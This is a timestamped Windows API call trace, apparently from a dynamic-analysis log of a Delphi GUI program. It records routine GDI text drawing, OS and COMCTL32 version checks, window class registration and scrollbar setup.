	[0118.295] GdiReleaseDC () returned 0x1
	[0118.295] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.295] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.295] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.295] UnrealizeObject (h=0x1b100652) returned 1
	[0118.295] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.295] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.295] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.295] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.295] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.295] GdiReleaseDC () returned 0x1
	[0118.295] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.295] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.295] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.295] UnrealizeObject (h=0x1b100652) returned 1
	[0118.295] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.295] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.295] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.296] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.296] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.296] GdiReleaseDC () returned 0x1
	[0118.296] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f82c | out: lptm=0x19f82c) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f864 | out: lptm=0x19f864) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.296] GdiReleaseDC () returned 0x1
	[0118.296] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.296] __SEH_prolog4_GS () returned 0x19f810
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4d0 | out: lptm=0x19f4d0) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f508 | out: lptm=0x19f508) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.296] GdiReleaseDC () returned 0x1
	[0118.296] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.296] __SEH_prolog4_GS () returned 0x19f4b4
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f530 | out: lptm=0x19f530) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.296] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f568 | out: lptm=0x19f568) returned 1
	[0118.296] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.296] GdiReleaseDC () returned 0x1
	[0118.297] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.297] __SEH_prolog4_GS () returned 0x19f514
	[0118.297] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.297] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.297] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.297] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.297] GdiReleaseDC () returned 0x1
	[0118.297] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.297] __SEH_prolog4_GS () returned 0x19f75c
	[0118.297] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x43e478, szCSDVersion="\x08") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.297] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.297] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x721c064 | out: lpData=0x721c064) returned 1
	[0118.297] VerQueryValueA (in: pBlock=0x721c064, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x721c08c, puLen=0x19f7e4) returned 1
	[0118.297] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.297] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.297] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.297] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.297] GdiReleaseDC () returned 0x1
	[0118.297] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.297] __SEH_prolog4_GS () returned 0x19f48c
	[0118.298] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.298] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.298] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.298] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.298] GdiReleaseDC () returned 0x1
	[0118.298] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.298] __SEH_prolog4_GS () returned 0x19f504
	[0118.298] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.298] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.298] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.298] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.298] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.298] GdiReleaseDC () returned 0x1
	[0118.298] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.298] __SEH_prolog4_GS () returned 0x19f75c
	[0118.298] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.298] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.298] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x721c3bc | out: lpData=0x721c3bc) returned 1
	[0118.298] VerQueryValueA (in: pBlock=0x721c3bc, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x721c3e4, puLen=0x19f7e4) returned 1
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.299] GdiReleaseDC () returned 0x1
	[0118.299] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.299] __SEH_prolog4_GS () returned 0x19f48c
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.299] GdiReleaseDC () returned 0x1
	[0118.299] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.299] __SEH_prolog4_GS () returned 0x19f504
	[0118.299] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.299] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.299] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.299] GdiReleaseDC () returned 0x1
	[0118.299] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.299] __SEH_prolog4_GS () returned 0x19f75c
	[0118.300] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.300] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.300] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7224000 | out: lpData=0x7224000) returned 1
	[0118.300] VerQueryValueA (in: pBlock=0x7224000, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7224028, puLen=0x19f7e4) returned 1
	[0118.300] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.300] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.300] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.300] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.300] GdiReleaseDC () returned 0x1
	[0118.300] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.300] __SEH_prolog4_GS () returned 0x19f48c
	[0118.300] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.301] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.301] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.301] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.301] GdiReleaseDC () returned 0x1
	[0118.301] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.301] __SEH_prolog4_GS () returned 0x19f504
	[0118.301] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.308] GetObjectA (in: h=0x4b050618, c=84, pv=0x19f670 | out: pv=0x19f670) returned 84
	[0118.308] RtlLockHeap (Heap=0x230000) returned 1
	[0118.308] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0048) returned 1
	[0118.308] RtlRestoreLastWin32Error () returned 0x0
	[0118.309] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.309] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.309] UnrealizeObject (h=0x1b100652) returned 1
	[0118.309] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.309] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.309] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.309] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.309] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.309] GdiReleaseDC () returned 0x1
	[0118.309] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.309] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.309] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.309] UnrealizeObject (h=0x1b100652) returned 1
	[0118.309] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.310] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.310] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.310] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.310] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.310] GdiReleaseDC () returned 0x1
	[0118.310] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.310] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.310] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.310] UnrealizeObject (h=0x1b100652) returned 1
	[0118.310] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.310] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.310] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.310] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.311] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.311] GdiReleaseDC () returned 0x1
	[0118.311] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.311] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.311] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.311] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.311] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.311] GdiReleaseDC () returned 0x1
	[0118.311] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.311] __SEH_prolog4_GS () returned 0x19f75c
	[0118.311] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x721bc8c, szCSDVersion="t¼!\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.311] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.311] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7225f58 | out: lpData=0x7225f58) returned 1
	[0118.311] VerQueryValueA (in: pBlock=0x7225f58, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7225f80, puLen=0x19f7e4) returned 1
	[0118.311] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.311] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.311] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.311] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.311] GdiReleaseDC () returned 0x1
	[0118.312] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.312] __SEH_prolog4_GS () returned 0x19f48c
	[0118.312] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.312] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.312] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.312] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.312] GdiReleaseDC () returned 0x1
	[0118.312] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.312] __SEH_prolog4_GS () returned 0x19f504
	[0118.312] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.312] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.312] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.312] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.312] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.312] GdiReleaseDC () returned 0x1
	[0118.312] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.312] __SEH_prolog4_GS () returned 0x19f75c
	[0118.312] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.312] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.312] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7226e50 | out: lpData=0x7226e50) returned 1
	[0118.312] VerQueryValueA (in: pBlock=0x7226e50, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7226e78, puLen=0x19f7e4) returned 1
	[0118.313] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.313] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.313] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.313] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.313] GdiReleaseDC () returned 0x1
	[0118.313] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.313] __SEH_prolog4_GS () returned 0x19f48c
	[0118.313] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.313] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.313] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.313] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.313] GdiReleaseDC () returned 0x1
	[0118.313] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.313] __SEH_prolog4_GS () returned 0x19f504
	[0118.313] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.313] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f778 | out: lptm=0x19f778) returned 1
	[0118.314] SelectObject (hdc=0xa0100d0, h=0x210a0658) returned 0x18a0048
	[0118.314] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f7b0 | out: lptm=0x19f7b0) returned 1
	[0118.314] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a0658
	[0118.314] GdiReleaseDC () returned 0x1
	[0118.314] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.314] __SEH_prolog4_GS () returned 0x19f75c
	[0118.314] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.314] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.314] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7227e6c | out: lpData=0x7227e6c) returned 1
	[0118.314] VerQueryValueA (in: pBlock=0x7227e6c, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7227e94, puLen=0x19f7e4) returned 1
	[0118.314] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4a8 | out: lptm=0x19f4a8) returned 1
	[0118.314] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.314] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f4e0 | out: lptm=0x19f4e0) returned 1
	[0118.314] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.314] GdiReleaseDC () returned 0x1
	[0118.314] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.315] __SEH_prolog4_GS () returned 0x19f48c
	[0118.315] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f520 | out: lptm=0x19f520) returned 1
	[0118.315] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.315] GetTextMetricsA (in: hdc=0xa0100d0, lptm=0x19f558 | out: lptm=0x19f558) returned 1
	[0118.315] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x690a065b
	[0118.315] GdiReleaseDC () returned 0x1
	[0118.315] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.315] __SEH_prolog4_GS () returned 0x19f504
	[0118.315] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.315] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0118.315] CreateWindowInternal () returned 0x20232
	[0118.316] _SetWindowLong () returned 0x4071cc
	[0118.317] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TfIT_ALie", lpwcx=0x19f8d0 | out: lpwcx=0x19f8d0) returned 0
	[0118.317] _memset (in: _Dst=0x19f8dc, _Val=0, _Size=0x2c | out: _Dst=0x19f8dc) returned 0x19f8dc
	[0118.317] RegisterClassExWOWA () returned 0xc170
	[0118.317] CreateWindowInternal () 
	[0118.317] _SetWindowLong () returned 0x449074
	[0118.319] __SEH_epilog4_GS () returned 0x1
	[0118.321] FlatSB_SetScrollProp (param_1=0x2022c, index=0x100, newValue=0x0, param_4=1) returned 0
	[0118.321] FlatSB_SetScrollProp (param_1=0x2022c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.321] FlatSB_SetScrollInfo (param_1=0x2022c, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0118.322] FlatSB_SetScrollProp (param_1=0x2022c, index=0x200, newValue=0x0, param_4=1) returned 0
	[0118.322] FlatSB_SetScrollProp (param_1=0x2022c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.322] FlatSB_SetScrollInfo (param_1=0x2022c, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0118.324] __SEH_epilog4_GS () returned 0x1
	[0118.325] FlatSB_SetScrollProp (param_1=0x2022c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.326] FlatSB_SetScrollProp (param_1=0x2022c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.326] FlatSB_SetScrollInfo (param_1=0x2022c, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0118.327] FlatSB_SetScrollProp (param_1=0x2022c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.327] FlatSB_SetScrollProp (param_1=0x2022c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.327] FlatSB_SetScrollInfo (param_1=0x2022c, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0118.330] FlatSB_SetScrollProp (param_1=0x2022c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.330] FlatSB_SetScrollProp (param_1=0x2022c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.330] FlatSB_SetScrollInfo (param_1=0x2022c, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.332] FlatSB_SetScrollProp (param_1=0x2022c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.332] FlatSB_SetScrollProp (param_1=0x2022c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.332] FlatSB_SetScrollInfo (param_1=0x2022c, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.336] MoveToEx (in: hdc=0xa010691, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.336] SelectObject (hdc=0xa010691, h=0x690a065b) returned 0x18a0048
	[0118.336] SetTextColor (hdc=0xa010691, color=0x0) returned 0x0
	[0118.336] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0118.337] GetCurrentPositionEx (in: hdc=0xa010691, lppt=0x19f794 | out: lppt=0x19f794) returned 1
	[0118.338] __SEH_epilog4_GS () returned 0x1
	[0118.340] FlatSB_SetScrollProp (param_1=0x2022c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.340] FlatSB_SetScrollProp (param_1=0x2022c, index=0x40, newValue=0xffffff, param_4=0) returned 0
